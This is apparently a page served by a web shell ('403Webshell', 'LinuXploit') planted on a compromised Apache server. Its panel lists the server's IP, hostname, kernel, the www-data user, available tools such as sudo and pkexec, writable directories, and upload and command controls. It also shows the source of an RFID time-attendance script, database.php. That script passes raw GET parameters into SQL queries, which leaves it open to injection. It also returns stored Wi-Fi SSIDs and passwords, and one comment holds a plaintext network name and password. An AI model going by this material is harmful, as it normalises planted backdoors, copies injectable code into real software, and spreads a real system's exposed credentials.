403Webshell
Server IP : 93.86.61.54  /  Your IP : 216.73.216.60
Web Server : Apache/2.4.62 (Ubuntu)
System : Linux rasin.ddns.net 6.8.0-124-generic #124~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 21:05:19 UTC x86_64
User : www-data ( 33)
PHP Version : 8.4.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/projects/radvre/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/projects/radvre/database.php
<?php
/******************************
 Project: Radno vreme, 2023.
 Version: PHP v. 5-7
 Author : M. Kukic
 Note   : kompatiblno sa INO_v08
 GET poziv:
		   http://net-nas/MyWeb/w3/radvre/database.php?rf=E557C3CD&io=0&nt=none&rs=1001
		   http://net-nas/MyWeb/w3/radvre/database.php?rf=E557C3CD&io=1&nt=none&rs=1001
		   
		   http://net-nas/MyWeb/w3/radvre/database.php?rf=FFFFFFFF&io=&nt=&rs=1001
		   http://net-nas/MyWeb/w3/radvre/database.php?rf=12345678&io=&nt=&rs=1001
		    
******************************/
//Get
$rf = $_GET["rf"];
$io = $_GET["io"];
$nt = $_GET["nt"];
$rs = $_GET["rs"];
//
include "config.php";
//
$dn="NoName";
$fn="NoName";
$lk="NoName";
$klj=8;         //Kljuc
$adm=0;
//
// Definisanje Zone, L/Z vreme
$tz=0;
$lz=0;
$ts = $tz*3600 + $tz*3600 + (int)strtotime("now");
//
//
// Trazi po RFID 
	$sql = "SELECT * FROM user WHERE rfid='$rf'";
	if ($db==5){  // MySQL ver 5
		$result = mysql_query($sql, $dbh) or die (mysql_error($dbh));
		$row = mysql_fetch_array($result);
	}else{	      // MySQL ver 7 
		$result = mysqli_query($dbh, $sql) or die (mysqli_error($dbh));
		$row = mysqli_fetch_array($result);	
	}	
	$dn=$row['dispname'];
	$fn=$row['fullname'];
	if ($dn == "admin"){ 
		$adm=1;
	}
	//echo "<br>User: ".$dn." - ".$fn;
//
//
// Trazi za Reprogramiranje - SSID PASS Server Link
if (($rf =="FFFFFFFF") or ($adm ==1)){        // Admin RFID zahtev za prog
// Trazi po SerBroju i psts=1
	$sql = "SELECT * FROM prog WHERE prfsrno='$rs' AND psts='1'";
	if ($db==5){  // MySQL ver 5	
		$result = mysql_query($sql, $dbh) or die (mysql_error($dbh));
		$row = mysql_fetch_array($result);
	}else{	      // MySQL ver 7 
		$result = mysqli_query($dbh, $sql) or die (mysqli_error($dbh));
		$row = mysqli_fetch_array($result);	
	}
	$psts=$row['psts'];	
		if ($psts == 1){
			$ssid=$row['ssid'];
			$pass=$row['pass'];
			$srlink=$row['srlink'];
			$klj = 9;
		}else{
			$klj = 0;
		}	
	echo "NoName ! SerNo ".$rs." ! Kljuc #".$klj." ! ".$ssid."@".$pass."=".$srlink."*";
	//echo " : NET-TIM_032@MK2u13qx=http://192.168.213.25/MyWEB/w3/radvre/database.php*";
goto kraj;
}
//
// Trazi po ulaz-izlaz / opisio
	$sql = "SELECT * FROM opisio WHERE idio='$io'";
	if ($db==5){  // MySQL ver 5
		$result = mysql_query($sql, $dbh) or die (mysql_error($dbh));
		$row = mysql_fetch_array($result);
	}else{	      // MySQL ver 7 
		$result = mysqli_query($dbh, $sql) or die (mysqli_error($dbh));
		$row = mysqli_fetch_array($result);	
	}	
	$punc=$row['punc'];
	//echo "<br>Prolaz: ".$punc;
//
//
// Trazi po VRATA-ima
	$sql = "SELECT * FROM vrata WHERE urfid='$rf'";
	if ($db==5){  // MySQL ver 5
		$result = mysql_query($sql, $dbh) or die (mysql_error($dbh));
		$row = mysql_fetch_array($result);
	}else{	      // MySQL ver 7 
		$result = mysqli_query($dbh, $sql) or die (mysqli_error($dbh));
		$row = mysqli_fetch_array($result);	
	}	
	$klj=$row['kljuc'];
	//echo "<br>Kljuc: ".$klj;
//
//
// Trazi po Lokaciji
	$sql = "SELECT * FROM lokac WHERE rfsrno='$rs'";
	if ($db==5){  // MySQL ver 5	
		$result = mysql_query($sql, $dbh) or die (mysql_error($dbh));
		$row = mysql_fetch_array($result);
	}else{	      // MySQL ver 7 
		$result = mysqli_query($dbh, $sql) or die (mysqli_error($dbh));
		$row = mysqli_fetch_array($result);	
	}
	$lk=$row['lokacija'];
	//echo "<br>Lokacija: ".$lk;
//
//
	//Update - tabele "logdog" za izvestaje 
if (($dn !="") and ($punc !="")) {
	$sql = "INSERT INTO logdog (id, dispname, in_out, dattim, notes, lokc) VALUES ('0', '$dn', '$punc', '$ts', '$nt','$lk')";
	if ($db==5){  // MySQL ver 5	
		mysql_query($sql, $dbh) or die(mysql_error());
	}else{	      // MySQL ver 7 
		mysqli_query($dbh, $sql) or die(mysqli_error());
	}	
}
//
//
//  Finalni WEB izvestaj
	echo $dn." - ".$fn." ! ".$punc." ! ".$lk." ! Kljuc #".$klj;	
//
kraj:
//
include "close_db.php";
//
?> 

Youez - 2016 - github.com/yon3zu
LinuXploit